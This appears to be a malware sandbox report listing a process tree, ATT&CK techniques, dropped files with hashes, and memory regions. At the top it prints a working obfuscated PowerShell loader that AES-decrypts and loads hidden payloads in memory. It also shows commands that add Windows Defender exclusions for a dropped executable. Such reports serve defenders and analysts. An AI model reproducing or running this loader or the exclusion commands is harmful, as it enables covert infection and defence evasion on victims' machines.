        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Cog2FfQzXN/CFo+C1z5cA6A5VrFqrgZo+eGY2jDLhQM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Xe/cmGaEw2H/frlPjzjJMA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $jenev=New-Object System.IO.MemoryStream(,$param_var); $bOggy=New-Object System.IO.MemoryStream; $BvzYa=New-Object System.IO.Compression.GZipStream($jenev, [IO.Compression.CompressionMode]::Decompress); $BvzYa.CopyTo($bOggy); $BvzYa.Dispose(); $jenev.Dispose(); $bOggy.Dispose(); $bOggy.ToArray();}function execute_function($param_var,$param2_var){ $efUPt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IhbzI=$efUPt.EntryPoint; $IhbzI.Invoke($null, $param2_var);}$XNbkd = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_476.bat';$host.UI.RawUI.WindowTitle = $XNbkd;$zWKzr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XNbkd).Split([Environment]::NewLine);foreach ($MsVFK in $zWKzr) { if ($MsVFK.StartsWith('jbXgLDOZDydSfztIPCiv')) { $PxMNs=$MsVFK.Substring(20); break; }}$payloads_var=[string[]]$PxMNs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:3612
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1652
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\ofdhost.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2640
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'ofdhost.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3572

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:3160

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:1396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:2336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:3252

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:920

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k swprv
1⤵
PID:4580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Filesize
328B

MD5
ada0eb5bad9fb066ed687625bb88c4f9

SHA1
a2a33ec7d032c8b16000cbf246e1769daabf559f

SHA256
1891e2d48f56ba06181cb16ab6c3ed0c0e0b4ba0ca74d402b90af873fa0f8cef

SHA512
956107f65302453d5af7026ab2a57cbb0e8b61da8a9afe3cbf3e778f09162285dcf316f1ed0b597a5e65dfe6e3f29199811884d6f0ac04874021b645bb1b7274

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749

Filesize
330B

MD5
c6172f07f2c73140f1283b373c8c80c3

SHA1
24f0615345151663ab513bf49dbe1069099750a3

SHA256
8ebc8d018351747b032ca6032dd56f3538b61c37810bfa5aebf26f4f1eddef9b

SHA512
c3c88c9b73c1cc28c5ee83d3eaaea229639bb39eae8dc779ea59861477502e1508902285468e775742c92c89e436c63b6f2465d5efee5abb1c9fd138b7b3c76a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ofdhost.exe.log

Filesize
3KB

MD5
3f01549ee3e4c18244797530b588dad9

SHA1
3e87863fc06995fe4b741357c68931221d6cc0b9

SHA256
36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a

SHA512
73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
3KB

MD5
85c5e95cfa6818053b555ef81726ea5d

SHA1
d84e7f352adcae4ad63207a5adf0068180f7ded7

SHA256
7f2795c1c946ff369a5f0d767ba0a48984ffeb79210f9158dd2ca89a1c80dbad

SHA512
66aadebf57f8a51b27aa75ebb632f82de0fa6eb1d28bfa0ee4dcf52d33dcf62f4fe2a317637d866c4ff449bb70e376d057befa614da1623dde24c21c79616982

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
b62bea0259e1e81528e547e91c41897e

SHA1
821fbcad88617ae16c94ee04877f21f744999319

SHA256
307648eb14e9df3d4019c1af34e4a1362f8c1cd8868b44075f04453c4fea8170

SHA512
9ac1dae2148aa9bb6c56616a375aa748172be7621e26decef641617e604af8072a9c4cd8c539af248640eacb433da0d17cd98e636f62514cfe3b766f4833a423

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
005bc2ef5a9d890fb2297be6a36f01c2

SHA1
0c52adee1316c54b0bfdc510c0963196e7ebb430

SHA256
342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

SHA512
f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1b43a808284da8d61503dd6c6c863794

SHA1
f269c29d64fda3ea16d08a9a5edb7f613c83ad37

SHA256
2735c36eb4646feaf972bebd02779727a8ca66de4389477297ace0976b143349

SHA512
17204e5295be8d6a76e615cf3631c183b0bba392aff1dc11149e2521bd87e07fe50f67efb6d1d16c44034eb62c947f6c67cfc7b2877221ef7f0789be69760104

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ldzj4pac.pvf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_476.bat

Filesize
556KB

MD5
ccc8244e0a00612fa460fd2907c139df

SHA1
25eaeeb11cf34a4163b7a12d2fc596def0647bd3

SHA256
f2531f30acc4736b5e6d2078265c6021d8435405547a67dfaf660716e17b121e

SHA512
5b719d7dc915fe03c3d842bd5a7c7a395ce769cf9597b9f97c9a72183cdb9ca43015ab00b433cef1bbee71ca8ac08887b7852773c34226b77c95e017e15e6dac

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_476.vbs

Filesize
124B

MD5
e0c0678d59d1e2bd3077a0b51b0eec9b

SHA1
ef7f9ca49c00d90e81974f6c00662991a1d39ff9

SHA256
fa6e0a140cffe68d2a399286f164d3346705ab61cdb2d09bdf64a97cf249ae07

SHA512
ed141e464a53385e500f1f1aa88ab8ffaba84c7aa292a085a804e502e4b065a2d95780f1c13e637779a171f5254a922c4416ba304cb862ab85d1a25ec4ff5352

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
1e8e2076314d54dd72e7ee09ff8a52ab

SHA1
5fd0a67671430f66237f483eef39ff599b892272

SHA256
55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

SHA512
5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Filesize
328B

MD5
560a0ed02ba67f544b3fffd825827060

SHA1
7bdda24dd352f3158239c39a4ab3f7ee6645769d

SHA256
2eaeb46d0edc4c30dab54f9e6a7e75ff182f0b0d4b5c4f4bcce85ef0a141b105

SHA512
750d7f3f90575b0dc1cc4a1bbe045d0e4b6bae3c2a4c38b045a269e57b858f0b7d27edc4fc0abcaebc782f030b3ea5126ce4a6a2b4c9ba383d851c7bee8e432e

Download Submit
C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749

Filesize
330B

MD5
f71769aafcb343e869b07750934cb1c1

SHA1
a5f0e00263f1893b657c8fec8aab6b84cf571fef

SHA256
5ef1a076c6087dbb4191a275a6f6b3f20ad671cd043b63d25f6c2e123cf13562

SHA512
202867493174e3371d22dbd0af42f5b865e5bd2328407392d21a49729d0206b5c6d9479869d16de2bfcd5fd06111cd011eec751d59166212aa5b1ca841cec9fe

Download Submit
C:\Windows\System32\ofdhost.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
memory/956-66-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download
memory/1012-113-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download
memory/1292-114-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download
memory/1332-86-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download
memory/1372-62-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download
memory/1532-18-0x00007FFD1FD40000-0x00007FFD20801000-memory.dmp

Filesize
10.8MB

Download
memory/1532-19-0x00007FFD1FD40000-0x00007FFD20801000-memory.dmp

Filesize
10.8MB

Download
memory/1532-29-0x00007FFD1FD40000-0x00007FFD20801000-memory.dmp

Filesize
10.8MB

Download
memory/1532-32-0x00007FFD1FD40000-0x00007FFD20801000-memory.dmp

Filesize
10.8MB

Download
memory/1652-138-0x00000252FA5E0000-0x00000252FA62C000-memory.dmp

Filesize
304KB

Download
memory/1700-87-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download
memory/1772-61-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download
memory/1900-91-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download
memory/1908-84-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download
memory/1960-63-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download
memory/2100-92-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download
memory/2128-82-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download
memory/2252-64-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download
memory/2336-67-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download
memory/2592-68-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download
memory/2684-93-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download
memory/2724-83-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download
memory/2904-90-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download
memory/3160-85-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download
memory/3380-65-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download
memory/3416-51-0x00000000072B0000-0x00000000072DA000-memory.dmp

Filesize
168KB

Download
memory/3416-60-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download
memory/3488-88-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download
memory/3624-0-0x00007FFD1FD43000-0x00007FFD1FD45000-memory.dmp

Filesize
8KB

Download
memory/3624-15-0x000001DA5F4D0000-0x000001DA5F4D8000-memory.dmp

Filesize
32KB

Download
memory/3624-16-0x000001DA79B50000-0x000001DA79BBA000-memory.dmp

Filesize
424KB

Download
memory/3624-14-0x000001DA79BD0000-0x000001DA79C46000-memory.dmp

Filesize
472KB

Download
memory/3624-50-0x00007FFD1FD40000-0x00007FFD20801000-memory.dmp

Filesize
10.8MB

Download
memory/3624-13-0x000001DA79750000-0x000001DA79794000-memory.dmp

Filesize
272KB

Download
memory/3624-12-0x00007FFD1FD40000-0x00007FFD20801000-memory.dmp

Filesize
10.8MB

Download
memory/3624-11-0x00007FFD1FD40000-0x00007FFD20801000-memory.dmp

Filesize
10.8MB

Download
memory/3624-1-0x000001DA77600000-0x000001DA77622000-memory.dmp

Filesize
136KB

Download
memory/4660-89-0x00007FFCFE830000-0x00007FFCFE840000-memory.dmp

Filesize
64KB

Download